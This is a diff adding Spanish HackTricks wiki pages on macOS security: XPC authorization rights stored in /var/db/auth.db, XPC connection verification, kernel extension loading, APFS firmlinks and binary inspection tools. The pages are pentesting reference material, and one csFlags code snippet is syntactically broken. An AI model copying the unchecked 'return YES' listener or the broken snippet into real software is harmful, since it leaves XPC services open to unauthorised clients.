self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
|
||||
}
|
||||
assert(err == errAuthorizationSuccess);
|
||||
|
||||
// If we successfully connected to Authorization Services, add definitions for our default
|
||||
// rights (unless they're already in the database).
|
||||
|
||||
if (self->_authRef) {
|
||||
[Common setupAuthorizationRights:self->_authRef];
|
||||
}
|
||||
|
||||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
La función `setupAuthorizationRights` de `Common/Common.m` almacenará en la base de datos de autorización `/var/db/auth.db` los permisos de la aplicación. Observa cómo solo agregará los permisos que aún no estén en la base de datos:
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
{
|
||||
assert(authRef != NULL);
|
||||
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
|
||||
OSStatus blockErr;
|
||||
|
||||
// First get the right. If we get back errAuthorizationDenied that means there's
|
||||
// no current definition, so we add our default one.
|
||||
|
||||
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
|
||||
if (blockErr == errAuthorizationDenied) {
|
||||
blockErr = AuthorizationRightSet(
|
||||
authRef, // authRef
|
||||
[authRightName UTF8String], // rightName
|
||||
(__bridge CFTypeRef) authRightDefault, // rightDefinition
|
||||
(__bridge CFStringRef) authRightDesc, // descriptionKey
|
||||
NULL, // bundle (NULL implies main bundle)
|
||||
CFSTR("Common") // localeTableName
|
||||
);
|
||||
assert(blockErr == errAuthorizationSuccess);
|
||||
} else {
|
||||
// A right already exists (err == noErr) or any other error occurs, we
|
||||
// assume that it has been set up in advance by the system administrator or
|
||||
// this is the second time we've run. Either way, there's nothing more for
|
||||
// us to do.
|
||||
}
|
||||
}];
|
||||
}
|
||||
```
|
||||
La función `enumerateRightsUsingBlock` es la que se utiliza para obtener los permisos de las aplicaciones, los cuales están definidos en `commandInfo`:
|
||||
```objectivec
|
||||
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
|
||||
|
||||
+ (NSDictionary *)commandInfo
|
||||
{
|
||||
static dispatch_once_t sOnceToken;
|
||||
static NSDictionary * sCommandInfo;
|
||||
|
||||
dispatch_once(&sOnceToken, ^{
|
||||
sCommandInfo = @{
|
||||
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
|
||||
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
|
||||
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
|
||||
kCommandKeyAuthRightDesc : NSLocalizedString(
|
||||
@"EBAS is trying to read its license key.",
|
||||
@"prompt shown when user is required to authorize to read the license key"
|
||||
)
|
||||
},
|
||||
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
|
||||
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
|
||||
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
|
||||
kCommandKeyAuthRightDesc : NSLocalizedString(
|
||||
@"EBAS is trying to write its license key.",
|
||||
@"prompt shown when user is required to authorize to write the license key"
|
||||
)
|
||||
},
|
||||
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
|
||||
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
|
||||
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
|
||||
kCommandKeyAuthRightDesc : NSLocalizedString(
|
||||
@"EBAS is trying to start its web service.",
|
||||
@"prompt shown when user is required to authorize to start the web service"
|
||||
)
|
||||
}
|
||||
};
|
||||
});
|
||||
return sCommandInfo;
|
||||
}
|
||||
|
||||
+ (NSString *)authorizationRightForCommand:(SEL)command
|
||||
// See comment in header.
|
||||
{
|
||||
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
|
||||
}
|
||||
|
||||
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
|
||||
// Calls the supplied block with information about each known authorization right..
|
||||
{
|
||||
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
|
||||
#pragma unused(key)
|
||||
#pragma unused(stop)
|
||||
NSDictionary * commandDict;
|
||||
NSString * authRightName;
|
||||
id authRightDefault;
|
||||
NSString * authRightDesc;
|
||||
|
||||
// If any of the following asserts fire it's likely that you've got a bug
|
||||
// in sCommandInfo.
|
||||
|
||||
commandDict = (NSDictionary *) obj;
|
||||
assert([commandDict isKindOfClass:[NSDictionary class]]);
|
||||
|
||||
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
|
||||
assert([authRightName isKindOfClass:[NSString class]]);
|
||||
|
||||
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
|
||||
assert(authRightDefault != nil);
|
||||
|
||||
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
|
||||
assert([authRightDesc isKindOfClass:[NSString class]]);
|
||||
|
||||
block(authRightName, authRightDefault, authRightDesc);
|
||||
}];
|
||||
}
|
||||
```
|
||||
Esto significa que al final de este proceso, los permisos declarados dentro de `commandInfo` se almacenarán en `/var/db/auth.db`. Observe cómo allí puede encontrar para **cada método** que requiere autenticación, el **nombre del permiso** y el **`kCommandKeyAuthRightDefault`**. Este último **indica quién puede obtener este permiso**.
|
||||
|
||||
Existen diferentes ámbitos para indicar quién puede acceder a un permiso. Algunos de ellos están definidos en [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (puede encontrar [todos ellos aquí](https://www.dssw.co.uk/reference/authorization-rights/)), pero como resumen:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">Nombre</th><th width="165">Valor</th><th>Descripción</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Cualquiera</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Nadie</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>El usuario actual debe ser un administrador (dentro del grupo de administradores)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Preguntar al usuario para autenticarse.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Preguntar al usuario para autenticarse. Necesita ser un administrador (dentro del grupo de administradores)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Especificar reglas</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Especificar algunos comentarios adicionales sobre el permiso</td></tr></tbody></table>
|
||||
|
||||
### Verificación de permisos
|
||||
|
||||
En `HelperTool/HelperTool.m`, la función **`readLicenseKeyAuthorization`** verifica si el llamador está autorizado para **ejecutar tal método** llamando a la función **`checkAuthorization`**. Esta función verificará que los **datos de autenticación** enviados por el proceso que llama tengan un **formato correcto** y luego verificará **lo que se necesita para obtener el permiso** para llamar al método específico. Si todo va bien, el **`error` devuelto será `nil`**:
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
[...]
|
||||
|
||||
// First check that authData looks reasonable.
|
||||
|
||||
error = nil;
|
||||
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
|
||||
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
|
||||
}
|
||||
|
||||
// Create an authorization ref from that the external form data contained within.
|
||||
|
||||
if (error == nil) {
|
||||
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
|
||||
|
||||
// Authorize the right associated with the command.
|
||||
|
||||
if (err == errAuthorizationSuccess) {
|
||||
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
|
||||
AuthorizationRights rights = { 1, &oneRight };
|
||||
|
||||
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
|
||||
assert(oneRight.name != NULL);
|
||||
|
||||
err = AuthorizationCopyRights(
|
||||
authRef,
|
||||
&rights,
|
||||
NULL,
|
||||
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
if (err != errAuthorizationSuccess) {
|
||||
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
|
||||
}
|
||||
}
|
||||
|
||||
if (authRef != NULL) {
|
||||
junk = AuthorizationFree(authRef, 0);
|
||||
assert(junk == errAuthorizationSuccess);
|
||||
}
|
||||
|
||||
return error;
|
||||
}
|
||||
```
|
||||
Ten en cuenta que para **verificar los requisitos para obtener el derecho** de llamar a ese método, la función `authorizationRightForCommand` simplemente verificará el objeto previamente comentado **`commandInfo`**. Luego, llamará a **`AuthorizationCopyRights`** para verificar **si tiene los derechos** para llamar a la función (ten en cuenta que las banderas permiten la interacción con el usuario).
|
||||
|
||||
En este caso, para llamar a la función `readLicenseKeyAuthorization`, se define `kCommandKeyAuthRightDefault` como `@kAuthorizationRuleClassAllow`. Por lo tanto, **cualquiera puede llamarla**.
|
||||
|
||||
### Información de la base de datos
|
||||
|
||||
Se mencionó que esta información se almacena en `/var/db/auth.db`. Puedes listar todas las reglas almacenadas con:
|
||||
```sql
|
||||
sudo sqlite3 /var/db/auth.db
|
||||
SELECT name FROM rules;
|
||||
SELECT name FROM rules WHERE name LIKE '%safari%';
|
||||
```
|
||||
Entonces, puedes leer quién puede acceder al derecho con:
|
||||
```bash
|
||||
security authorizationdb read com.apple.safaridriver.allow
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,96 @@
|
|||
# Verificación de conexión de proceso XPC en macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Verificación de conexión de proceso XPC
|
||||
|
||||
Cuando se establece una conexión a un servicio XPC, el servidor verificará si la conexión está permitida. Estas son las comprobaciones que suele realizar:
|
||||
|
||||
1. Comprobar si el **proceso de conexión está firmado con un certificado firmado por Apple** (sólo otorgado por Apple).
|
||||
* Si esto **no está verificado**, un atacante podría crear un **certificado falso** para coincidir con cualquier otra comprobación.
|
||||
2. Comprobar si el proceso de conexión está firmado con el **certificado de la organización** (verificación de ID de equipo).
|
||||
* Si esto **no está verificado**, **cualquier certificado de desarrollador** de Apple puede ser utilizado para firmar y conectarse al servicio.
|
||||
3. Comprobar si el proceso de conexión **contiene un ID de paquete adecuado**.
|
||||
4. Comprobar si el proceso de conexión tiene un **número de versión de software adecuado**.
|
||||
* Si esto **no está verificado**, se podría utilizar un cliente antiguo e inseguro, vulnerable a la inyección de procesos, para conectarse al servicio XPC incluso con las otras comprobaciones en su lugar.
|
||||
5. Comprobar si el proceso de conexión tiene un **derecho** que le permite conectarse al servicio. Esto es aplicable para binarios de Apple.
|
||||
6. La **verificación** debe estar **basada** en el **token de auditoría del cliente de conexión** en lugar de su **ID de proceso (PID)** ya que lo primero previene los ataques de reutilización de PID.
|
||||
* Los desarrolladores rara vez utilizan la llamada a la API de token de auditoría ya que es **privada**, por lo que Apple podría **cambiarla** en cualquier momento. Además, el uso de API privadas no está permitido en las aplicaciones de la Mac App Store.
|
||||
|
||||
Para obtener más información sobre la comprobación de ataques de reutilización de PID:
|
||||
|
||||
{% content-ref url="macos-pid-reuse.md" %}
|
||||
[macos-pid-reuse.md](macos-pid-reuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ejemplos de código
|
||||
|
||||
El servidor implementará esta **verificación** en una función llamada **`shouldAcceptNewConnection`**.
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
|
||||
//Check connection
|
||||
return YES;
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
El objeto NSXPCConnection tiene una propiedad **privada** llamada **`auditToken`** (la que debería ser utilizada pero podría cambiar) y una propiedad **pública** llamada **`processIdentifier`** (la que no debería ser utilizada).
|
||||
|
||||
El proceso de conexión podría ser verificado con algo como:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
[...]
|
||||
SecRequirementRef requirementRef = NULL;
|
||||
NSString requirementString = @"anchor apple generic and identifier \"xyz.hacktricks.service\" and certificate leaf [subject.CN] = \"TEAMID\" and info [CFBundleShortVersionString] >= \"1.0\"";
|
||||
/* Check:
|
||||
- Signed by a cert signed by Apple
|
||||
- Check the bundle ID
|
||||
- Check the TEAMID of the signing cert
|
||||
- Check the version used
|
||||
*/
|
||||
|
||||
// Check the requirements
|
||||
SecRequirementCreateWithString(requirementString, kSecCSDefaultFlags, &requirementRef);
|
||||
SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
|
||||
```
|
||||
Si un desarrollador no quiere comprobar la versión del cliente, al menos podría comprobar que el cliente no es vulnerable a la inyección de procesos:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
[...]
|
||||
CFDictionaryRef csInfo = NULL;
|
||||
SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo);
|
||||
uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
|
||||
const uint32_t cs_hard = 0x100; // don't load invalid page.
|
||||
const uint32_t cs_kill = 0x200; // Kill process if page is invalid
|
||||
const uint32_t cs_restrict = 0x800; // Prevent debugging
|
||||
const uint32_t cs_require_lv = 0x2000; // Library Validation
|
||||
const uint32_t cs_runtime = 0x10000; // hardened runtime
|
||||
if ((csFlags & (cs_hard | cs_require_lv)) {
|
||||
return Yes; // Accept connection
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,48 @@
|
|||
# Extensiones de Kernel de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
Las extensiones de kernel (Kexts) son **paquetes** con extensión **`.kext`** que se **cargan directamente en el espacio del kernel** de macOS, proporcionando funcionalidades adicionales al sistema operativo central.
|
||||
|
||||
### Requisitos
|
||||
|
||||
Obviamente, esto es tan poderoso que es complicado cargar una extensión de kernel. Estos son los requisitos que debe cumplir una extensión de kernel para ser cargada:
|
||||
|
||||
* Al entrar en **modo de recuperación**, las extensiones de kernel deben estar **permitidas para ser cargadas**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* La extensión de kernel debe estar **firmada con un certificado de firma de código de kernel**, que solo puede ser otorgado por **Apple**. Quien revisará en detalle la **empresa** y las **razones** por las que se necesita.
|
||||
* La extensión de kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.
|
||||
* Luego, el **usuario root** es el que puede cargar la extensión y los archivos dentro del paquete deben pertenecer a root.
|
||||
* Finalmente, al intentar cargarla, el [**usuario recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) y si se acepta, la computadora debe **reiniciarse** para cargarla.
|
||||
|
||||
### Proceso de carga
|
||||
|
||||
En Catalina era así: Es interesante destacar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con la concesión **`com.apple.private.security.kext-management`** pueden **solicitar al kernel** que **cargue una extensión:** kextcache, kextload, kextutil, kextd, syspolicyd
|
||||
|
||||
1. **`kextutil`** cli **inicia** el proceso de verificación para cargar una extensión
|
||||
* Se comunicará con **`kextd`** enviando un servicio Mach
|
||||
2. **`kextd`** verificará varias cosas, como la firma
|
||||
* Se comunicará con **`syspolicyd`** para verificar si se puede cargar la extensión
|
||||
3. **`syspolicyd`** **preguntará** al **usuario** si la extensión no se ha cargado previamente
|
||||
* **`syspolicyd`** indicará el resultado a **`kextd`**
|
||||
4. **`kextd`** finalmente podrá indicar al **kernel que cargue la extensión**
|
||||
|
||||
Si kextd no está disponible, kextutil puede realizar las mismas comprobaciones.
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
|
@ -0,0 +1,30 @@
|
|||
## Sistema de archivos propietario de Apple (APFS)
|
||||
|
||||
APFS, o Apple File System, es un sistema de archivos moderno desarrollado por Apple Inc. que fue diseñado para reemplazar el antiguo Hierarchical File System Plus (HFS+) con énfasis en **mejorar el rendimiento, la seguridad y la eficiencia**.
|
||||
|
||||
Algunas características destacadas de APFS incluyen:
|
||||
|
||||
1. **Compartición de espacio**: APFS permite que varios volúmenes **compartan el mismo almacenamiento libre subyacente** en un solo dispositivo físico. Esto permite una utilización de espacio más eficiente ya que los volúmenes pueden crecer y disminuir dinámicamente sin necesidad de redimensionamiento o reparticionamiento manual.
|
||||
1. Esto significa, en comparación con las particiones tradicionales en discos de archivos, que en APFS diferentes particiones (volúmenes) comparten todo el espacio en disco, mientras que una partición regular generalmente tenía un tamaño fijo.
|
||||
2. **Instantáneas**: APFS admite la **creación de instantáneas**, que son instancias **de solo lectura** del sistema de archivos en un momento determinado. Las instantáneas permiten copias de seguridad eficientes y fácilmente reversibles, ya que consumen un almacenamiento adicional mínimo y se pueden crear o revertir rápidamente.
|
||||
3. **Clones**: APFS puede **crear clones de archivos o directorios que comparten el mismo almacenamiento** que el original hasta que se modifica el clon o el archivo original. Esta característica proporciona una forma eficiente de crear copias de archivos o directorios sin duplicar el espacio de almacenamiento.
|
||||
4. **Cifrado**: APFS **admite nativamente el cifrado de disco completo** así como el cifrado de archivo y directorio, mejorando la seguridad de los datos en diferentes casos de uso.
|
||||
5. **Protección contra fallos**: APFS utiliza un **esquema de metadatos de copia en escritura que garantiza la consistencia del sistema de archivos** incluso en casos de pérdida de energía repentina o fallos del sistema, reduciendo el riesgo de corrupción de datos.
|
||||
|
||||
En general, APFS ofrece un sistema de archivos más moderno, flexible y eficiente para dispositivos Apple, con un enfoque en mejorar el rendimiento, la confiabilidad y la seguridad.
|
||||
```bash
|
||||
diskutil list # Get overview of the APFS volumes
|
||||
```
|
||||
## Firmlinks
|
||||
|
||||
El volumen `Data` se monta en **`/System/Volumes/Data`** (puedes comprobar esto con `diskutil apfs list`).
|
||||
|
||||
La lista de firmlinks se puede encontrar en el archivo **`/usr/share/firmlinks`**.
|
||||
```bash
|
||||
cat /usr/share/firmlinks
|
||||
/AppleInternal AppleInternal
|
||||
/Applications Applications
|
||||
/Library Library
|
||||
[...]
|
||||
```
|
||||
En la **izquierda**, se encuentra la ruta del directorio en el **volumen del sistema**, y en la **derecha**, la ruta del directorio donde se mapea en el **volumen de datos**. Así, `/library` --> `/system/Volumes/data/library`.
|
|
@ -0,0 +1,368 @@
|
|||
# macOS Apps - Inspección, depuración y Fuzzing
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Análisis estático
|
||||
|
||||
### otool
|
||||
```bash
|
||||
otool -L /bin/ls #List dynamically linked libraries
|
||||
otool -tv /bin/ps #Decompile application
|
||||
```
|
||||
### objdump
|
||||
|
||||
objdump es una herramienta de línea de comandos que se utiliza para inspeccionar archivos binarios y objetos. Puede mostrar información detallada sobre los archivos ejecutables, bibliotecas compartidas, archivos objeto y otros formatos de archivo binario. También puede desensamblar el código de la máquina y mostrar la información de depuración. objdump es una herramienta útil para la ingeniería inversa y la depuración de aplicaciones.
|
||||
```bash
|
||||
objdump -m --dylibs-used /bin/ls #List dynamically linked libraries
|
||||
objdump -m -h /bin/ls # Get headers information
|
||||
objdump -m --syms /bin/ls # Check if the symbol table exists to get function names
|
||||
objdump -m --full-contents /bin/ls # Dump every section
|
||||
objdump -d /bin/ls # Dissasemble the binary
|
||||
```
|
||||
### jtool2
|
||||
|
||||
La herramienta puede ser utilizada como un **reemplazo** para **codesign**, **otool** y **objdump**, y proporciona algunas características adicionales.
|
||||
```bash
|
||||
# Install
|
||||
brew install --cask jtool2
|
||||
|
||||
jtool2 -l /bin/ls # Get commands (headers)
|
||||
jtool2 -L /bin/ls # Get libraries
|
||||
jtool2 -S /bin/ls # Get symbol info
|
||||
jtool2 -d /bin/ls # Dump binary
|
||||
jtool2 -D /bin/ls # Decompile binary
|
||||
|
||||
# Get signature information
|
||||
ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Automator
|
||||
|
||||
```
|
||||
### Codesign
|
||||
|
||||
Codesign es una herramienta de línea de comandos que se utiliza para firmar digitalmente archivos en macOS. La firma digital proporciona una forma de verificar la integridad y autenticidad de los archivos. Los desarrolladores pueden usar codesign para firmar sus aplicaciones antes de distribuirlas, lo que ayuda a prevenir la manipulación malintencionada de los archivos. Además, codesign también se utiliza para verificar la firma de los archivos existentes y para identificar cualquier problema de firma.
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
||||
# Check if the app’s contents have been modified
|
||||
codesign --verify --verbose /Applications/Safari.app
|
||||
|
||||
# Get entitlements from the binary
|
||||
codesign -d --entitlements :- /System/Applications/Automator.app # Check the TCC perms
|
||||
|
||||
# Check if the signature is valid
|
||||
spctl --assess --verbose /Applications/Safari.app
|
||||
|
||||
# Sign a binary
|
||||
codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### SuspiciousPackage
|
||||
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) es una herramienta útil para inspeccionar archivos **.pkg** (instaladores) y ver qué hay dentro antes de instalarlo.\
|
||||
